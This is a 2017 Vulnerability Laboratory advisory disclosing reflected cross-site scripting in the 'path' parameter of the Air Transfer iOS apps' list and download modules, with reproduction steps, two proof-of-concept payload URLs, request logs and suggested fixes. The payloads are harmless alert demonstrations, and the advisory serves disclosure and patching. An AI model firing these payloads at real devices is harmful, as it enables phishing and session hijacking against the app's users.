Document Title: =============== Air Transfer 1.2.1 & 1.0.14 iOS - Multiple XSS Web Vulnerabilities References (Source): ==================== https://www.vulnerability-lab.com/get_content.php?id=2035 Release Date: ============= 2017-02-22 Vulnerability Laboratory ID (VL-ID): ==================================== 2035 Common Vulnerability Scoring System: ==================================== 3.2 Product & Service Introduction: =============================== Air Transfer is a photo/movie safe that keeps all of your private pictures and videos hidden behind a password. It lets you upload and download files to/from your device over a wireless connection. Easy-to-use web interface, no USB cable needed. (Copy of the Homepage: https://itunes.apple.com/de/app/air-transfer-file-transfer/id1127766528 ) Air Transfer : Wi-Fi Sync Manager lets you upload and download files (photos, videos etc) to/from your iPhone, iPad, Mac or PC using your local wifi network. (Copy of the Homepage: https://itunes.apple.com/de/app/air-transfer-wi-fi-sync-file-manager/id1195756593 ) Abstract Advisory Information: ============================== The vulnerability laboratory core research team discovered multiple cross site scripting vulnerabilities in the offical Air Transfer v1.2.1 & Air Transfer v1.0.14 iOS mobile application. Vulnerability Disclosure Timeline: ================================== 2017-02-22: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Hong Nguyen Product: Air Transfer Application - (iPad & iPhone) 1.0.14 Janki Panchani Product: Air Transfer Application - (iPad & iPhone) 1.2.1 Exploitation Technique: ======================= Remote Severity Level: =============== Medium Technical Details & Description: ================================ Multiple client-side cross site scripting vulnerabilities has been discovered in the official Air Transfer v1.2.1 & Air Transfer v1.0.14 iOS mobile application. The vulnerability allows remote attackers to inject script codes to client-side application requests with non-persistent attack vector. The client-side cross site scripting vulnerabilities are located in the `path` parameter of the `list` and `download` modules. Remote attackers are able to inject script code to the client-side GET method requests via download or list to perform a cross site scripting attack. The validation of the `path` prameter is insecure designed and allows to execute client-side codes within the error exception-handling. The request method to inject is GET and the attack vector is non-persistent. The security risk of the xss vulnerabilities is estimated as medium with a cvss (common vulnerability scoring system) count of 3.2. Exploitation of the web vulnerability requires no privilege web-application user account and low or medium user interaction. Successful exploitation of the vulnerability results in non-persistent phishing attacks, session hijacking, non-persistent external redirect to malicious sources and non-persistent manipulation of affected or connected module context. Request Method(s): [+] GET Vulnerable Module(s) [+] list [+] download Vulnerable Parameter(s) [+] path Affected Module(s) [+] Error - Exception Handling Proof of Concept (PoC): ======================= The cross site scripting vulnerabilities can be exploited by remote attackers without privilege web-application user account and with low or medium user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. Manual steps to reproduce the vulnerability ... 1. Install the vulnerable ios mobile application 2. Start the wifi server 3. Connect to the wifi localhost via http protocol 4. Attach the vulnerable module and parameter with payload in a GET method request 5. Perform the request and the web-server replies with an error 6. The execution occurs in the error message 7. Successful reproduce of the cross site scripting vulnerability! PoC: Vulnerable Source (Execution in Exception) <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><title>HTTP Error 404</title></head> <body><h1>HTTP Error 404: <[CROSS SITE SCRIPTING PAYLOAD EXECUTION!]> does not exist</h1> <h3></h3></body></html> PoC: Exploitation http://localhost/list?path=>"<iframe src="evil.source" onload=alert("CSXSS")> http://localhost/download?path=>"<img src="evil.source" onload=alert("CSXSS")> --- PoC Session Logs [GET] --- Status: 200[OK] GET http://localhost/list?path=%3C[CROSS SITE SCRIPTING PAYLOAD INJECT!]%3E Mime Type[text/html] Request Header: Host[localhost] User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Response Header: Content-Length[209] Content-Type[text/html; charset=utf-8] Server[GCDWebUploader] - Status: 200[OK] GET http://localhost/download?path=%3C[CROSS SITE SCRIPTING PAYLOAD INJECT!]%3E Mime Type[text/html] Request Header: Host[localhost] User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Connection[keep-alive] Upgrade-Insecure-Requests[1] Response Header: Content-Length[184] Content-Type[text/html; charset=utf-8] Connection[Close] Server[GCDWebUploader] Reference(s): http://localhost/ http://localhost/list http://localhost/download http://localhost/list?path= http://localhost/download?path= Solution - Fix & Patch: ======================= The security vulnerabilities can be patched by following the listed steps below ... 1. Restrict the path parameter input by disallowing tags, script codes and specialchars 2. Parse the path parameter content on transmit via list or download module 3. Parse via escape the output content in the error message of the web-server to prevent the execution point 4. Setup a mechanism to filter malicious content in the path variable to prevent further attacks Security Risk: ============== The security risk of the non-persistent cross site scripting vulnerabilities in the mobile applications are estimated as medium. (CVSS 3.2) Credits & Authors: ================== Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (http://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.) Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com Section: magazine.vulnerability-lab.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact Social: twitter.com/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php Any modified copy or reproduction, including partially usages, of this file, resources or information requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@) to get a ask permission. Copyright © 2017 | Vulnerability Laboratory - [Evolution Security GmbH]™ -- VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com